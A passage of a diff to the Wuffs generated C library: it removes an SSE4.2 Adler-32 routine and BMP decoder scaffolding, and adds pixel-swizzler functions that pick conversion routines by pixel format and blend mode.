_mm_set_epi8((int8_t)(1u), (int8_t)(2u), (int8_t)(3u), (int8_t)(4u), (int8_t)(5u), (int8_t)(6u), (int8_t)(7u), (int8_t)(8u), (int8_t)(9u), (int8_t)(10u), (int8_t)(11u), (int8_t)(12u), (int8_t)(13u), (int8_t)(14u), (int8_t)(15u), (int8_t)(16u)); +- v_s1 = ((self->private_impl.f_state) & 0xFFFFu); +- v_s2 = ((self->private_impl.f_state) >> (32u - 16u)); +- while (((uint64_t)(a_x.len)) > 0u) { +- v_remaining = wuffs_base__slice_u8__subslice_j(a_x, 0u); +- if (((uint64_t)(a_x.len)) > 5536u) { +- v_remaining = wuffs_base__slice_u8__subslice_i(a_x, 5536u); +- a_x = wuffs_base__slice_u8__subslice_j(a_x, 5536u); +- } +- v_num_iterate_bytes = ((uint32_t)((((uint64_t)(a_x.len)) & 4294967264u))); +- v_s2 += ((uint32_t)(v_s1 * v_num_iterate_bytes)); +- v_v1 = _mm_setzero_si128(); +- v_v2j = _mm_setzero_si128(); +- v_v2k = _mm_setzero_si128(); +- { +- wuffs_base__slice_u8 i_slice_p = a_x; +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 32; +- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 32) * 32); +- while (v_p.ptr < i_end0_p) { +- v_q__left = _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr)); +- v_q_right = _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 16u)); +- v_v2j = _mm_add_epi32(v_v2j, v_v1); +- v_v1 = _mm_add_epi32(v_v1, _mm_sad_epu8(v_q__left, v_zeroes)); +- v_v1 = _mm_add_epi32(v_v1, _mm_sad_epu8(v_q_right, v_zeroes)); +- v_v2k = _mm_add_epi32(v_v2k, _mm_madd_epi16(v_ones, _mm_maddubs_epi16(v_q__left, v_weights__left))); +- v_v2k = _mm_add_epi32(v_v2k, _mm_madd_epi16(v_ones, _mm_maddubs_epi16(v_q_right, v_weights_right))); +- v_p.ptr += 32; ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__rgba_premul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__rgba_premul__src_over; + } +- v_p.len = 0; +- } +- v_v1 = _mm_add_epi32(v_v1, _mm_shuffle_epi32(v_v1, (int32_t)(177u))); +- v_v1 = _mm_add_epi32(v_v1, _mm_shuffle_epi32(v_v1, (int32_t)(78u))); +- v_s1 += ((uint32_t)(_mm_cvtsi128_si32(v_v1))); +- v_v2 = _mm_add_epi32(v_v2k, _mm_slli_epi32(v_v2j, (int32_t)(5u))); +- v_v2 = _mm_add_epi32(v_v2, _mm_shuffle_epi32(v_v2, (int32_t)(177u))); +- v_v2 = _mm_add_epi32(v_v2, _mm_shuffle_epi32(v_v2, (int32_t)(78u))); +- v_s2 += ((uint32_t)(_mm_cvtsi128_si32(v_v2))); +- v_tail_index = (((uint64_t)(a_x.len)) & 18446744073709551584u); +- if (v_tail_index < ((uint64_t)(a_x.len))) { +- { +- wuffs_base__slice_u8 i_slice_p = wuffs_base__slice_u8__subslice_i(a_x, v_tail_index); +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 1; +- uint8_t* i_end0_p = i_slice_p.ptr + i_slice_p.len; +- while (v_p.ptr < i_end0_p) { +- v_s1 += ((uint32_t)(v_p.ptr[0u])); +- v_s2 += v_s1; +- v_p.ptr += 1; +- } +- v_p.len = 0; ++ return NULL; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ if (wuffs_base__cpu_arch__have_x86_sse42()) { ++ return wuffs_private_impl__swizzle_swap_rgbx_bgrx__x86_sse42; ++ } ++#endif ++ return wuffs_private_impl__swizzle_swap_rgbx_bgrx; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_premul__rgba_premul__src_over; + } +- } +- v_s1 %= 65521u; +- v_s2 %= 65521u; +- a_x = v_remaining; ++ return NULL; + } +- self->private_impl.f_state = (((v_s2 & 65535u) << 16u) | (v_s1 & 65535u)); +- return wuffs_base__make_empty_struct(); ++ return NULL; + } +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ADLER32) ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__bgrx( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__Y: ++ return wuffs_private_impl__swizzle_y__bgrx; + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BMP) ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ return wuffs_private_impl__swizzle_bgr_565__bgrx; + +-// ---------------- Status Codes Implementations ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ return wuffs_private_impl__swizzle_xxx__xxxx; + +-const char wuffs_bmp__error__bad_header[] = "#bmp: bad header"; +-const char wuffs_bmp__error__bad_rle_compression[] = "#bmp: bad RLE compression"; +-const char wuffs_bmp__error__truncated_input[] = "#bmp: truncated input"; +-const char wuffs_bmp__error__unsupported_bmp_file[] = "#bmp: unsupported BMP file"; +-const char wuffs_bmp__note__internal_note_short_read[] = "@bmp: internal note: short read"; ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: ++ return wuffs_private_impl__swizzle_bgrw__bgrx; + +-// ---------------- Private Consts ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ return wuffs_private_impl__swizzle_bgrw_4x16le__bgrx; + +-#define WUFFS_BMP__COMPRESSION_NONE 0 ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++ return wuffs_private_impl__swizzle_copy_4_4; + +-#define WUFFS_BMP__COMPRESSION_RLE8 1 ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ return wuffs_private_impl__swizzle_bgr__rgbx; + +-#define WUFFS_BMP__COMPRESSION_RLE4 2 ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++ return wuffs_private_impl__swizzle_bgrw__rgbx; ++ } ++ return NULL; ++} + +-#define WUFFS_BMP__COMPRESSION_BITFIELDS 3 ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__rgb( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ return wuffs_private_impl__swizzle_bgr_565__rgb; + +-#define WUFFS_BMP__COMPRESSION_JPEG 4 ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ return wuffs_private_impl__swizzle_swap_rgb_bgr; + +-#define WUFFS_BMP__COMPRESSION_PNG 5 ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ if (wuffs_base__cpu_arch__have_x86_sse42()) { ++ return wuffs_private_impl__swizzle_bgrw__rgb__x86_sse42; ++ } ++#endif ++ return wuffs_private_impl__swizzle_bgrw__rgb; + +-#define WUFFS_BMP__COMPRESSION_ALPHABITFIELDS 6 ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ return wuffs_private_impl__swizzle_bgrw_4x16le__rgb; + +-#define WUFFS_BMP__COMPRESSION_LOW_BIT_DEPTH 256 ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ return wuffs_private_impl__swizzle_copy_3_3; + +-#define WUFFS_BMP__RLE_STATE_NEUTRAL 0 ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ if (wuffs_base__cpu_arch__have_x86_sse42()) { ++ return wuffs_private_impl__swizzle_bgrw__bgr__x86_sse42; ++ } ++#endif ++ return wuffs_private_impl__swizzle_bgrw__bgr; ++ } ++ return NULL; ++} + +-#define WUFFS_BMP__RLE_STATE_RUN 1 ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__rgba_nonpremul( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr_565__rgba_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr_565__rgba_nonpremul__src_over; ++ } ++ return NULL; + +-#define WUFFS_BMP__RLE_STATE_ESCAPE 2 ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr__rgba_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr__rgba_nonpremul__src_over; ++ } ++ return NULL; + +-#define WUFFS_BMP__RLE_STATE_LITERAL 3 ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ if (wuffs_base__cpu_arch__have_x86_sse42()) { ++ return wuffs_private_impl__swizzle_swap_rgbx_bgrx__x86_sse42; ++ } ++#endif ++ return wuffs_private_impl__swizzle_swap_rgbx_bgrx; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__rgba_nonpremul__src_over; ++ } ++ return NULL; + +-#define WUFFS_BMP__RLE_STATE_DELTA_X 4 ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__rgba_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__rgba_nonpremul__src_over; ++ } ++ return NULL; + +-#define WUFFS_BMP__RLE_STATE_DELTA_Y 5 ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul__src_over; ++ } ++ return NULL; + +-// ---------------- Private Initializer Prototypes ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++ // TODO. ++ break; + +-// ---------------- Private Function Prototypes ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr__bgra_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr__bgra_nonpremul__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__do_decode_image_config( +- wuffs_bmp__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src); ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_copy_4_4; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__bgra_nonpremul__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__do_decode_frame_config( +- wuffs_bmp__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src); ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__do_decode_frame( +- wuffs_bmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts); ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++ // TODO. ++ break; ++ } ++ return NULL; ++} + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__swizzle_none( +- wuffs_bmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src); ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__rgba_premul( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr_565__rgba_premul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr_565__rgba_premul__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__swizzle_rle( +- wuffs_bmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src); ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr__rgba_premul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr__rgba_premul__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__swizzle_bitfields( +- wuffs_bmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src); ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__rgba_premul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__rgba_premul__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__swizzle_low_bit_depth( +- wuffs_bmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__do_tell_me_more( +- wuffs_bmp__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src); ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__rgba_premul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__rgba_premul__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__read_palette( +- wuffs_bmp__decoder* self, +- wuffs_base__io_buffer* a_src); ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ if (wuffs_base__cpu_arch__have_x86_sse42()) { ++ return wuffs_private_impl__swizzle_swap_rgbx_bgrx__x86_sse42; ++ } ++#endif ++ return wuffs_private_impl__swizzle_swap_rgbx_bgrx; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_premul__rgba_premul__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__process_masks( +- wuffs_bmp__decoder* self); ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr__bgra_premul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr__bgra_premul__src_over; ++ } ++ return NULL; + +-// ---------------- VTables ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__bgra_premul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__bgra_premul__src_over; ++ } ++ return NULL; + +-const wuffs_base__image_decoder__func_ptrs +-wuffs_bmp__decoder__func_ptrs_for__wuffs_base__image_decoder = { +- (wuffs_base__status(*)(void*, +- wuffs_base__pixel_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__pixel_blend, +- wuffs_base__slice_u8, +- wuffs_base__decode_frame_options*))(&wuffs_bmp__decoder__decode_frame), +- (wuffs_base__status(*)(void*, +- wuffs_base__frame_config*, +- wuffs_base__io_buffer*))(&wuffs_bmp__decoder__decode_frame_config), +- (wuffs_base__status(*)(void*, +- wuffs_base__image_config*, +- wuffs_base__io_buffer*))(&wuffs_bmp__decoder__decode_image_config), +- (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_bmp__decoder__frame_dirty_rect), +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_bmp__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_bmp__decoder__history_retain_length), +- (uint32_t(*)(const void*))(&wuffs_bmp__decoder__num_animation_loops), +- (uint64_t(*)(const void*))(&wuffs_bmp__decoder__num_decoded_frame_configs), +- (uint64_t(*)(const void*))(&wuffs_bmp__decoder__num_decoded_frames), +- (wuffs_base__status(*)(void*, +- uint64_t, +- uint64_t))(&wuffs_bmp__decoder__restart_frame), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_bmp__decoder__set_quirk), +- (wuffs_base__empty_struct(*)(void*, +- uint32_t, +- bool))(&wuffs_bmp__decoder__set_report_metadata), +- (wuffs_base__status(*)(void*, +- wuffs_base__io_buffer*, +- wuffs_base__more_information*, +- wuffs_base__io_buffer*))(&wuffs_bmp__decoder__tell_me_more), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_bmp__decoder__workbuf_len), +-}; ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_copy_4_4; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_premul__bgra_premul__src_over; ++ } ++ return NULL; ++ } ++ return NULL; ++} + +-// ---------------- Initializer Implementations ++// -------- + +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_bmp__decoder__initialize( +- wuffs_bmp__decoder* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ +- if (!self) { ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status // ++wuffs_base__pixel_swizzler__prepare(wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__pixel_format src_pixfmt, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ if (!p) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); +- } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); +- } ++ p->private_impl.func = NULL; ++ p->private_impl.transparent_black_func = NULL; ++ p->private_impl.dst_pixfmt_bytes_per_pixel = 0; ++ p->private_impl.src_pixfmt_bytes_per_pixel = 0; + +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++ // ---- ++ ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ENABLE_ALLOWLIST) ++ switch (dst_pixfmt.repr) { ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGR_565) ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ break; + #endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); +- } +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic pop ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGR) ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ break; + #endif +- } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; +- } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); +- } ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGRA_NONPREMUL) ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ break; ++#endif ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGRA_NONPREMUL_4X16LE) ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ break; ++#endif ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGRA_PREMUL) ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ break; ++#endif ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_RGB) ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ break; ++#endif ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_RGBA_NONPREMUL) ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ break; ++#endif ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_RGBA_PREMUL) ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ break; ++#endif ++ default: ++ return wuffs_base__make_status( ++ wuffs_base__error__disabled_by_wuffs_config_dst_pixel_format_enable_allowlist); + } ++#endif // defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ENABLE_ALLOWLIST) + +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = +- wuffs_base__image_decoder__vtable_name; +- self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = +- (const void*)(&wuffs_bmp__decoder__func_ptrs_for__wuffs_base__image_decoder); +- return wuffs_base__make_status(NULL); +-} ++ // ---- + +-wuffs_bmp__decoder* +-wuffs_bmp__decoder__alloc(void) { +- wuffs_bmp__decoder* x = +- (wuffs_bmp__decoder*)(calloc(sizeof(wuffs_bmp__decoder), 1)); +- if (!x) { +- return NULL; +- } +- if (wuffs_bmp__decoder__initialize( +- x, sizeof(wuffs_bmp__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; ++ wuffs_base__pixel_swizzler__func func = NULL; ++ wuffs_base__pixel_swizzler__transparent_black_func transparent_black_func = ++ NULL; ++ ++ uint32_t dst_pixfmt_bits_per_pixel = ++ wuffs_base__pixel_format__bits_per_pixel(&dst_pixfmt); ++ if ((dst_pixfmt_bits_per_pixel == 0) || ++ ((dst_pixfmt_bits_per_pixel & 7) != 0)) { ++ return wuffs_base__make_status( ++ wuffs_base__error__unsupported_pixel_swizzler_option); + } +- return x; +-} + +-size_t +-sizeof__wuffs_bmp__decoder(void) { +- return sizeof(wuffs_bmp__decoder); +-} ++ uint32_t src_pixfmt_bits_per_pixel = ++ wuffs_base__pixel_format__bits_per_pixel(&src_pixfmt); ++ if ((src_pixfmt_bits_per_pixel == 0) || ++ ((src_pixfmt_bits_per_pixel & 7) != 0)) { ++ return wuffs_base__make_status( ++ wuffs_base__error__unsupported_pixel_swizzler_option); ++ } + +-// ---------------- Function Implementations ++ // TODO: support many more formats. + +-// -------- func bmp.decoder.get_quirk ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ transparent_black_func = ++ wuffs_private_impl__swizzle_transparent_black_src; ++ break; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_bmp__decoder__get_quirk( +- const wuffs_bmp__decoder* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ transparent_black_func = ++ wuffs_private_impl__swizzle_transparent_black_src_over; ++ break; + } + +- return 0u; +-} ++ switch (src_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__Y: ++ func = wuffs_private_impl__pixel_swizzler__prepare__y( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; + +-// -------- func bmp.decoder.set_quirk ++ case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: ++ func = wuffs_private_impl__pixel_swizzler__prepare__y_16be( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_bmp__decoder__set_quirk( +- wuffs_bmp__decoder* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); ++ case WUFFS_BASE__PIXEL_FORMAT__YA_NONPREMUL: ++ func = 